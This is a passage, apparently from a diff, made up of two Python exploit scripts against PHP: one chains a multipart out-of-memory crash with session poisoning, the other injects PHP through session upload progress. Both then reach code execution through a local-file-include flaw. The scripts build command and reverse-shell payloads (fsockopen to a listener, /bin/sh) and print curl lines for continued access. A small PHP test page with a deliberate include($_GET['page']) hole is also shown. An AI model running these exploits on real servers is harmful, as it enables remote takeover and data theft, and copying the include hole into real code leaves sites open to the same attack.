elif status == 500:
|
|
||||||
print(f" [+] HTTP 500 — OOM during script (worker survived)")
|
|
||||||
else:
|
|
||||||
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
|
|
||||||
|
|
||||||
# Wait for new worker
|
|
||||||
print(" Waiting for new worker...")
|
|
||||||
time.sleep(1.5)
|
|
||||||
for i in range(8):
|
|
||||||
try:
|
|
||||||
r1 = http_get(host, port, tls, path, timeout=3)
|
|
||||||
sc1 = status_code(r1)
|
|
||||||
if sc1 in (200, 301, 302, 403, 404):
|
|
||||||
print(f" New worker ready (HTTP {sc1})")
|
|
||||||
break
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
time.sleep(1)
|
|
||||||
else:
|
|
||||||
print(" [!] New worker not available after 8 retries")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
# ── Phase 2: LFI trigger ──
|
|
||||||
print()
|
|
||||||
print("[*] Phase 2: including poisoned session file via LFI...")
|
|
||||||
|
|
||||||
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
|
|
||||||
|
|
||||||
if resp is None:
|
|
||||||
print(" [!] Session file not found at any common path")
|
|
||||||
print(f" Try: --session-path /actual/path")
|
|
||||||
print(f" File: sess_{sid}")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
output = body_of(resp).decode(errors="replace")
|
|
||||||
print(f" Session file: {sess_path}")
|
|
||||||
|
|
||||||
if args.trigger_only:
|
|
||||||
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
|
|
||||||
if m:
|
|
||||||
print()
|
|
||||||
print(f"[+] Code execution confirmed!")
|
|
||||||
print(f" {m.group(1)}")
|
|
||||||
else:
|
|
||||||
print(f" [*] Session file exists but code may not have executed")
|
|
||||||
print(f" Response: {output[:200]}")
|
|
||||||
return
|
|
||||||
|
|
||||||
if args.cmd:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
|
|
||||||
if m:
|
|
||||||
result = m.group(1).strip()
|
|
||||||
else:
|
|
||||||
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
|
|
||||||
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
|
|
||||||
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
|
|
||||||
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(result)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
print()
|
|
||||||
print("[+] RCE achieved via CVE-2026-109618!")
|
|
||||||
print()
|
|
||||||
print("[*] For continued access:")
|
|
||||||
cmd_b64 = base64.b64encode(b"id").decode()
|
|
||||||
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
|
|
||||||
else:
|
|
||||||
print()
|
|
||||||
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
|
|
||||||
print(f"[*] Session file for re-exploitation: {sess_path}")
|
|
||||||
|
|
||||||
|
|
||||||
def main():
|
|
||||||
ap = argparse.ArgumentParser(
|
|
||||||
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
|
|
||||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
||||||
epilog="""
|
|
||||||
Examples:
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'id'
|
|
||||||
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
|
||||||
%(prog)s -t http://target/app.php --trigger-only
|
|
||||||
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
|
|
||||||
--session-path /var/lib/php/sessions --lfi-param tpl
|
|
||||||
""")
|
|
||||||
ap.add_argument("-t", "--target", required=True, help="Target URL")
|
|
||||||
ap.add_argument("--cmd", help="Command to execute")
|
|
||||||
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
|
||||||
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
|
||||||
ap.add_argument("--trigger-only", action="store_true",
|
|
||||||
help="Confirm vuln without RCE payload")
|
|
||||||
ap.add_argument("--session-path",
|
|
||||||
help="session.save_path on target (default: common paths)")
|
|
||||||
ap.add_argument("--session-id",
|
|
||||||
help="Force PHPSESSID (default: random hex)")
|
|
||||||
ap.add_argument("--lfi-param", default="page",
|
|
||||||
help="LFI query parameter (default: page)")
|
|
||||||
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
|
|
||||||
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
|
|
||||||
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
|
|
||||||
help=f"Bytes per field (default: {FIELD_SIZE})")
|
|
||||||
ap.add_argument("--no-chunked", action="store_true",
|
|
||||||
help="Use Content-Length instead of chunked encoding "
|
|
||||||
"(required when nginx has fastcgi_request_buffering off)")
|
|
||||||
args = ap.parse_args()
|
|
||||||
run(args)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main()
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
<?php
|
|
||||||
session_start();
|
|
||||||
$pid = getmypid();
|
|
||||||
|
|
||||||
if (isset($_GET['page'])) {
|
|
||||||
include($_GET['page']);
|
|
||||||
}
|
|
||||||
|
|
||||||
$n = count($_POST);
|
|
||||||
$files = count($_FILES);
|
|
||||||
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
<?php
|
|
||||||
$pid = getmypid();
|
|
||||||
$status_pre = session_status();
|
|
||||||
$sid_pre = session_id();
|
|
||||||
$ok = @session_start();
|
|
||||||
$status_post = session_status();
|
|
||||||
$sid_post = session_id();
|
|
||||||
$sess_data = isset($_SESSION) ? $_SESSION : null;
|
|
||||||
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
|
|
||||||
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
|
|
||||||
|
|
||||||
header('Content-Type: text/plain');
|
|
||||||
echo "pid=$pid\n";
|
|
||||||
echo "session_status_before=$status_pre\n";
|
|
||||||
echo "session_id_before=$sid_pre\n";
|
|
||||||
echo "session_start_ok=" . var_export($ok, true) . "\n";
|
|
||||||
echo "session_status_after=$status_post\n";
|
|
||||||
echo "session_id_after=$sid_post\n";
|
|
||||||
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
|
|
||||||
echo "session_payload_len=$sess_payload_len\n";
|
|
||||||
@@ -1,686 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
"""
|
|
||||||
CVE-2026-109619 — RCE via PHP session upload progress
|
|
||||||
|
|
||||||
PHP's session.upload_progress feature (enabled by default) writes
|
|
||||||
upload progress data to the session file during multipart request
|
|
||||||
parsing. The progress key stored in the session is constructed as:
|
|
||||||
|
|
||||||
session.upload_progress.prefix + $_POST[session.upload_progress.name]
|
|
||||||
|
|
||||||
The attacker controls the POST field value, and the session file
|
|
||||||
serializer (php format) stores the key VERBATIM — the only character
|
|
||||||
filtered is '|' (the key/value delimiter). This means arbitrary
|
|
||||||
bytes, including PHP code, are written into the session file on disk.
|
|
||||||
|
|
||||||
The session file path is predictable:
|
|
||||||
<session.save_path>/sess_<PHPSESSID>
|
|
||||||
|
|
||||||
Common default paths:
|
|
||||||
/tmp/sess_*
|
|
||||||
/var/lib/php/sessions/sess_*
|
|
||||||
|
|
||||||
Exploitation:
|
|
||||||
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
|
|
||||||
embedded PHP code: <?php system($cmd); ?>
|
|
||||||
2. The upload progress callback writes this to the session file.
|
|
||||||
3. Include the session file via any local-file-include vector:
|
|
||||||
- Direct include() / require() with attacker-controlled path
|
|
||||||
- PHP stream wrappers (php://filter)
|
|
||||||
- Log/session file inclusion (a classic PHP attack)
|
|
||||||
4. The PHP engine parses the session file, finds the <?php ?> tag
|
|
||||||
within the serialized data, and executes the injected code.
|
|
||||||
|
|
||||||
The exploit automates all steps: it obtains a session ID, injects code
|
|
||||||
via upload progress, and triggers inclusion for RCE.
|
|
||||||
|
|
||||||
Requirements
|
|
||||||
------------
|
|
||||||
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
|
|
||||||
- session.serialize_handler = php (default)
|
|
||||||
- Target endpoint calls session_start()
|
|
||||||
- An LFI vector OR known session save path + include primitive
|
|
||||||
- Tested on PHP 8.0–8.4 x86_64 Linux
|
|
||||||
|
|
||||||
Usage
|
|
||||||
-----
|
|
||||||
# Reverse shell via LFI
|
|
||||||
python3 exploit.py --target http://target/app.php \\
|
|
||||||
--lfi-param page \\
|
|
||||||
--session-path /tmp \\
|
|
||||||
--lhost 10.0.0.1 --lport 4444
|
|
||||||
|
|
||||||
# Trigger-only (write code to session, report path)
|
|
||||||
python3 exploit.py --target http://target/app.php --trigger-only
|
|
||||||
|
|
||||||
# Custom command
|
|
||||||
python3 exploit.py --target http://target/app.php \\
|
|
||||||
--lfi-param page --session-path /tmp \\
|
|
||||||
--cmd "id > /tmp/pwned"
|
|
||||||
"""
|
|
||||||
|
|
||||||
import argparse
|
|
||||||
import io
|
|
||||||
import os
|
|
||||||
import socket
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
import re
|
|
||||||
import threading
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Config
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
|
|
||||||
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
|
|
||||||
|
|
||||||
DEFAULT_SESSION_PATHS = [
|
|
||||||
"/tmp",
|
|
||||||
"/tmp/php-sessions",
|
|
||||||
"/var/lib/php/sessions",
|
|
||||||
"/var/lib/php5/sessions",
|
|
||||||
"/var/lib/php/session",
|
|
||||||
]
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Multipart helpers
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def multipart_field(name: bytes, value: bytes) -> bytes:
|
|
||||||
return (
|
|
||||||
b"--" + BOUNDARY + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
|
||||||
b"\r\n" + value + b"\r\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
def multipart_file(name: bytes, filename: bytes, content: bytes,
|
|
||||||
content_type: bytes = b"application/octet-stream") -> bytes:
|
|
||||||
return (
|
|
||||||
b"--" + BOUNDARY + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + name
|
|
||||||
+ b'"; filename="' + filename + b'"\r\n'
|
|
||||||
b"Content-Type: " + content_type + b"\r\n"
|
|
||||||
b"\r\n" + content + b"\r\n"
|
|
||||||
)
|
|
||||||
|
|
||||||
def multipart_end() -> bytes:
|
|
||||||
return b"--" + BOUNDARY + b"--\r\n"
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Payload construction
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def make_php_payload(cmd: str) -> bytes:
|
|
||||||
"""Craft PHP code to inject into the session file via progress key.
|
|
||||||
The code is embedded in the progress key prefix, so it ends up as:
|
|
||||||
upload_progress_<PHP_CODE>
|
|
||||||
in the session file. When the file is included, PHP parses and
|
|
||||||
executes the <?php ?> block."""
|
|
||||||
return f'<?php {cmd} ?>'.encode()
|
|
||||||
|
|
||||||
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
|
|
||||||
cmd = (
|
|
||||||
f"$sock=fsockopen('{lhost}',{lport});"
|
|
||||||
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
|
|
||||||
)
|
|
||||||
return make_php_payload(cmd)
|
|
||||||
|
|
||||||
def make_cmd_payload(cmd: str) -> bytes:
|
|
||||||
return make_php_payload(f'system("{cmd}");')
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# HTTP helpers (raw sockets for precision)
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def _parse_url(url: str):
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
p = urlparse(url)
|
|
||||||
tls = p.scheme == "https"
|
|
||||||
host = p.hostname or "127.0.0.1"
|
|
||||||
port = p.port or (443 if tls else 80)
|
|
||||||
path = p.path or "/"
|
|
||||||
if p.query:
|
|
||||||
path += "?" + p.query
|
|
||||||
return host, port, tls, path
|
|
||||||
|
|
||||||
def _connect(host: str, port: int, tls: bool):
|
|
||||||
sock = socket.create_connection((host, port), timeout=10)
|
|
||||||
if tls:
|
|
||||||
import ssl
|
|
||||||
ctx = ssl.create_default_context()
|
|
||||||
ctx.check_hostname = False
|
|
||||||
ctx.verify_mode = ssl.CERT_NONE
|
|
||||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
|
||||||
return sock
|
|
||||||
|
|
||||||
def _recv_response(sock, timeout=5) -> bytes:
|
|
||||||
resp = b""
|
|
||||||
sock.settimeout(timeout)
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
chunk = sock.recv(8192)
|
|
||||||
if not chunk:
|
|
||||||
break
|
|
||||||
resp += chunk
|
|
||||||
if b"\r\n\r\n" in resp:
|
|
||||||
hdr_end = resp.index(b"\r\n\r\n") + 4
|
|
||||||
headers = resp[:hdr_end]
|
|
||||||
# Check Content-Length
|
|
||||||
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
|
|
||||||
if m:
|
|
||||||
cl = int(m.group(1))
|
|
||||||
body_so_far = len(resp) - hdr_end
|
|
||||||
while body_so_far < cl:
|
|
||||||
more = sock.recv(8192)
|
|
||||||
if not more:
|
|
||||||
break
|
|
||||||
resp += more
|
|
||||||
body_so_far += len(more)
|
|
||||||
break
|
|
||||||
# Check chunked
|
|
||||||
if b'Transfer-Encoding: chunked' in headers:
|
|
||||||
if b"\r\n0\r\n" in resp:
|
|
||||||
break
|
|
||||||
continue
|
|
||||||
# No CL, no chunked — read until timeout
|
|
||||||
try:
|
|
||||||
more = sock.recv(4096)
|
|
||||||
if more:
|
|
||||||
resp += more
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
break
|
|
||||||
except socket.timeout:
|
|
||||||
pass
|
|
||||||
return resp
|
|
||||||
|
|
||||||
def _send_http(sock, method: bytes, host: str, path: str,
|
|
||||||
body: bytes = b"", headers: dict = None,
|
|
||||||
content_type: bytes = None, keepalive: bool = True) -> bytes:
|
|
||||||
conn = b"keep-alive" if keepalive else b"close"
|
|
||||||
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
req += b"Host: " + host.encode() + b"\r\n"
|
|
||||||
if content_type:
|
|
||||||
req += b"Content-Type: " + content_type + b"\r\n"
|
|
||||||
if body:
|
|
||||||
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
|
||||||
req += b"Connection: " + conn + b"\r\n"
|
|
||||||
if headers:
|
|
||||||
for k, v in headers.items():
|
|
||||||
req += f"{k}: {v}\r\n".encode()
|
|
||||||
req += b"\r\n"
|
|
||||||
sock.sendall(req + body)
|
|
||||||
return _recv_response(sock)
|
|
||||||
|
|
||||||
def _extract_cookies(resp: bytes) -> dict:
|
|
||||||
cookies = {}
|
|
||||||
for line in resp.split(b"\r\n"):
|
|
||||||
if line.lower().startswith(b"set-cookie:"):
|
|
||||||
cookie_str = line.split(b":", 1)[1].strip()
|
|
||||||
kv = cookie_str.split(b";")[0]
|
|
||||||
if b"=" in kv:
|
|
||||||
k, v = kv.split(b"=", 1)
|
|
||||||
cookies[k.strip().decode()] = v.strip().decode()
|
|
||||||
return cookies
|
|
||||||
|
|
||||||
def _decode_chunked(data: bytes) -> bytes:
|
|
||||||
out = b""
|
|
||||||
while data:
|
|
||||||
line_end = data.find(b"\r\n")
|
|
||||||
if line_end < 0:
|
|
||||||
break
|
|
||||||
size_str = data[:line_end].split(b";")[0].strip()
|
|
||||||
try:
|
|
||||||
chunk_len = int(size_str, 16)
|
|
||||||
except ValueError:
|
|
||||||
break
|
|
||||||
if chunk_len == 0:
|
|
||||||
break
|
|
||||||
start = line_end + 2
|
|
||||||
out += data[start:start + chunk_len]
|
|
||||||
data = data[start + chunk_len + 2:]
|
|
||||||
return out
|
|
||||||
|
|
||||||
def _extract_body(resp: bytes) -> bytes:
|
|
||||||
if b"\r\n\r\n" not in resp:
|
|
||||||
return b""
|
|
||||||
headers, body = resp.split(b"\r\n\r\n", 1)
|
|
||||||
if b"transfer-encoding: chunked" in headers.lower():
|
|
||||||
return _decode_chunked(body)
|
|
||||||
return body
|
|
||||||
|
|
||||||
def _status_code(resp: bytes) -> int:
|
|
||||||
try:
|
|
||||||
return int(resp.split(b" ")[1])
|
|
||||||
except (IndexError, ValueError):
|
|
||||||
return 0
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Exploit phases
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def phase1_get_session(sock, host, path) -> str:
|
|
||||||
"""Get a valid PHPSESSID from the target."""
|
|
||||||
resp = _send_http(sock, b"GET", host, path)
|
|
||||||
cookies = _extract_cookies(resp)
|
|
||||||
sid = cookies.get("PHPSESSID")
|
|
||||||
if not sid:
|
|
||||||
body = _extract_body(resp)
|
|
||||||
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
|
|
||||||
if m:
|
|
||||||
sid = m.group(1).decode()
|
|
||||||
return sid
|
|
||||||
|
|
||||||
def phase2_inject(sock, host, path, session_id: str,
|
|
||||||
php_code: bytes) -> tuple:
|
|
||||||
"""Inject PHP code into the session file via upload progress."""
|
|
||||||
body = io.BytesIO()
|
|
||||||
|
|
||||||
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
|
|
||||||
# fields — PHP processes form fields in order and initialises the
|
|
||||||
# progress tracker when it sees this field.
|
|
||||||
body.write(multipart_field(PROGRESS_FIELD, php_code))
|
|
||||||
|
|
||||||
# A file upload is required to trigger the progress write-back.
|
|
||||||
# The callback only writes progress data on FILE_START/DATA/END events.
|
|
||||||
body.write(multipart_file(
|
|
||||||
b"file", b"payload.bin",
|
|
||||||
b"\x00" * 8192,
|
|
||||||
))
|
|
||||||
|
|
||||||
body.write(multipart_end())
|
|
||||||
body_bytes = body.getvalue()
|
|
||||||
|
|
||||||
ct = b"multipart/form-data; boundary=" + BOUNDARY
|
|
||||||
resp = _send_http(
|
|
||||||
sock, b"POST", host, path,
|
|
||||||
body=body_bytes,
|
|
||||||
content_type=ct,
|
|
||||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
|
||||||
keepalive=True,
|
|
||||||
)
|
|
||||||
return _status_code(resp), _extract_body(resp)
|
|
||||||
|
|
||||||
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
|
|
||||||
"""Send a slow multipart upload to keep session file populated.
|
|
||||||
|
|
||||||
Used for race condition against cleanup=1: the session file contains
|
|
||||||
our PHP code during the entire upload. A concurrent request can
|
|
||||||
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
|
|
||||||
"""
|
|
||||||
bnd = b"----SLOW" + os.urandom(4).hex().encode()
|
|
||||||
sock = _connect(host, port, tls)
|
|
||||||
|
|
||||||
# Build progress field + start of file upload
|
|
||||||
head = b""
|
|
||||||
head += (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
|
|
||||||
b"\r\n" + php_code + b"\r\n")
|
|
||||||
head += (b"--" + bnd + b"\r\n"
|
|
||||||
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
|
|
||||||
b"Content-Type: application/octet-stream\r\n\r\n")
|
|
||||||
|
|
||||||
file_size = 1024 * 1024
|
|
||||||
tail = b"\r\n--" + bnd + b"--\r\n"
|
|
||||||
total_body = len(head) + file_size + len(tail)
|
|
||||||
|
|
||||||
req = (
|
|
||||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
|
||||||
b"Host: " + host.encode() + b"\r\n"
|
|
||||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
|
||||||
b"Content-Length: " + str(total_body).encode() + b"\r\n"
|
|
||||||
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
|
|
||||||
b"Connection: close\r\n\r\n"
|
|
||||||
)
|
|
||||||
sock.sendall(req + head)
|
|
||||||
|
|
||||||
chunk = b"\x00" * 4096
|
|
||||||
sent = 0
|
|
||||||
start_time = time.time()
|
|
||||||
try:
|
|
||||||
while sent < file_size and (time.time() - start_time) < duration:
|
|
||||||
to_send = min(4096, file_size - sent)
|
|
||||||
sock.sendall(chunk[:to_send])
|
|
||||||
sent += to_send
|
|
||||||
time.sleep(0.05)
|
|
||||||
sock.sendall(tail)
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
pass
|
|
||||||
try:
|
|
||||||
_recv_response(sock, timeout=2)
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
sock.close()
|
|
||||||
|
|
||||||
|
|
||||||
def phase3_include(sock, host, path, session_id: str,
|
|
||||||
session_path: str, lfi_param: str) -> tuple:
|
|
||||||
"""Trigger LFI to include the poisoned session file."""
|
|
||||||
sess_file = f"{session_path}/sess_{session_id}"
|
|
||||||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
|
||||||
|
|
||||||
resp = _send_http(
|
|
||||||
sock, b"GET", host, inc_path,
|
|
||||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
|
||||||
keepalive=False,
|
|
||||||
)
|
|
||||||
return _status_code(resp), _extract_body(resp)
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Session path discovery
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def discover_session_path(sock, host, path, session_id: str,
|
|
||||||
lfi_param: str, paths: list) -> str:
|
|
||||||
"""Try common session save paths to find the right one."""
|
|
||||||
for sp in paths:
|
|
||||||
sess_file = f"{sp}/sess_{session_id}"
|
|
||||||
inc_path = f"{path}?{lfi_param}={sess_file}"
|
|
||||||
resp = _send_http(
|
|
||||||
sock, b"GET", host, inc_path,
|
|
||||||
headers={"Cookie": f"PHPSESSID={session_id}"},
|
|
||||||
keepalive=True,
|
|
||||||
)
|
|
||||||
body = _extract_body(resp)
|
|
||||||
status = _status_code(resp)
|
|
||||||
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
|
|
||||||
return sp
|
|
||||||
return ""
|
|
||||||
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
# Main
|
|
||||||
# ---------------------------------------------------------------------------
|
|
||||||
|
|
||||||
def run(target: str, lhost: str, lport: int, trigger_only: bool,
|
|
||||||
cmd: str, lfi_param: str, session_path: str, attempts: int,
|
|
||||||
race: bool = False):
|
|
||||||
|
|
||||||
host, port, tls, path = _parse_url(target)
|
|
||||||
|
|
||||||
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
|
|
||||||
print(f"[*] Target: {target}")
|
|
||||||
if trigger_only:
|
|
||||||
print(f"[*] Mode: trigger-only (inject code, report path)")
|
|
||||||
elif cmd:
|
|
||||||
print(f"[*] Mode: command execution")
|
|
||||||
print(f"[*] Command: {cmd}")
|
|
||||||
else:
|
|
||||||
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
|
|
||||||
if race:
|
|
||||||
print(f"[*] Race: enabled (works with cleanup=1)")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Build payload
|
|
||||||
if trigger_only:
|
|
||||||
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
|
|
||||||
elif cmd:
|
|
||||||
cmd_safe = cmd.replace('"', '\\"')
|
|
||||||
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
|
|
||||||
else:
|
|
||||||
if not lhost or not lport:
|
|
||||||
print("[!] --lhost and --lport required for reverse shell mode")
|
|
||||||
sys.exit(1)
|
|
||||||
php_code = make_reverse_shell_payload(lhost, lport)
|
|
||||||
|
|
||||||
# Race condition mode: send slow upload + concurrent LFI
|
|
||||||
if race and lfi_param:
|
|
||||||
return _run_race(host, port, tls, path, php_code, lfi_param,
|
|
||||||
session_path, cmd, lhost, lport, trigger_only, attempts)
|
|
||||||
|
|
||||||
for attempt in range(1, attempts + 1):
|
|
||||||
if attempts > 1:
|
|
||||||
print(f"[*] === Attempt {attempt}/{attempts} ===")
|
|
||||||
|
|
||||||
sock = _connect(host, port, tls)
|
|
||||||
|
|
||||||
# Phase 1: Get session ID
|
|
||||||
print("[*] Phase 1: Obtaining session ID...")
|
|
||||||
sid = phase1_get_session(sock, host, path)
|
|
||||||
if not sid:
|
|
||||||
sid = os.urandom(13).hex()
|
|
||||||
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
|
|
||||||
else:
|
|
||||||
print(f"[+] PHPSESSID: {sid}")
|
|
||||||
|
|
||||||
# Phase 2: Inject PHP code via upload progress
|
|
||||||
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
|
|
||||||
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
|
|
||||||
status, body = phase2_inject(sock, host, path, sid, php_code)
|
|
||||||
print(f" Response: HTTP {status}")
|
|
||||||
|
|
||||||
if status == 200:
|
|
||||||
print("[+] Upload progress request accepted — code injected into session file")
|
|
||||||
elif status == 502:
|
|
||||||
print("[!] 502 — worker crashed. Retrying...")
|
|
||||||
sock.close()
|
|
||||||
time.sleep(0.5)
|
|
||||||
continue
|
|
||||||
else:
|
|
||||||
print(f"[!] Unexpected status {status}")
|
|
||||||
|
|
||||||
if trigger_only:
|
|
||||||
print()
|
|
||||||
print("[+] Session file poisoned successfully.")
|
|
||||||
print(f"[*] Session ID: {sid}")
|
|
||||||
print(f"[*] The session file contains injected PHP code.")
|
|
||||||
print(f"[*] Common session file locations:")
|
|
||||||
for sp in DEFAULT_SESSION_PATHS:
|
|
||||||
print(f" {sp}/sess_{sid}")
|
|
||||||
print()
|
|
||||||
print("[*] To verify, include the session file via LFI:")
|
|
||||||
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
|
|
||||||
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
|
|
||||||
print()
|
|
||||||
print("[*] Or check the file directly on the target server:")
|
|
||||||
print(f" cat /tmp/sess_{sid}")
|
|
||||||
print(f" strings /var/lib/php/sessions/sess_{sid}")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
|
|
||||||
# Phase 3: Trigger inclusion
|
|
||||||
if not lfi_param:
|
|
||||||
print()
|
|
||||||
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
|
|
||||||
print(f"[*] Trigger manually: include the session file via LFI")
|
|
||||||
print(f" {target}?PARAM={session_path}/sess_{sid}")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
|
|
||||||
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
|
|
||||||
|
|
||||||
if not session_path:
|
|
||||||
print("[*] No --session-path given, trying common paths...")
|
|
||||||
session_path = discover_session_path(
|
|
||||||
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
|
|
||||||
if session_path:
|
|
||||||
print(f"[+] Found session path: {session_path}")
|
|
||||||
else:
|
|
||||||
print("[!] Could not auto-detect session path. Try --session-path")
|
|
||||||
sock.close()
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Need a fresh connection (the POST consumed the keepalive)
|
|
||||||
try:
|
|
||||||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
|
||||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
|
||||||
sock.close()
|
|
||||||
sock = _connect(host, port, tls)
|
|
||||||
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
|
|
||||||
|
|
||||||
print(f" Response: HTTP {status}")
|
|
||||||
body_text = body.decode(errors='replace')
|
|
||||||
|
|
||||||
if "CVE-2026-109619:" in body_text:
|
|
||||||
# Trigger-only canary found in output
|
|
||||||
marker = body_text[body_text.index("CVE-2026-109619:"):]
|
|
||||||
marker = marker.split("|")[0].split("\x00")[0][:200]
|
|
||||||
print(f"[+] CODE EXECUTION CONFIRMED!")
|
|
||||||
print(f" Output: {marker}")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
elif cmd and status == 200:
|
|
||||||
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
|
|
||||||
if m:
|
|
||||||
output = m.group(1).strip()
|
|
||||||
print()
|
|
||||||
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
|
||||||
print(output)
|
|
||||||
print("[+] ══════════════════════════════════════════")
|
|
||||||
print(f"\n[+] RCE achieved via CVE-2026-109619!")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
elif "upload_progress_" in body_text:
|
|
||||||
print(f"[+] Session file included but code may not have executed")
|
|
||||||
print(f" (serialized session data visible in response)")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
print(f"[!] Inclusion did not produce expected output. Body preview:")
|
|
||||||
print(f" {body_text[:300]}")
|
|
||||||
elif not cmd and not trigger_only and status == 200:
|
|
||||||
print(f"[*] Request sent — check listener on {lhost}:{lport}")
|
|
||||||
sock.close()
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
print(f"[!] Inclusion may have failed. Body preview:")
|
|
||||||
print(f" {body_text[:200]}")
|
|
||||||
|
|
||||||
sock.close()
|
|
||||||
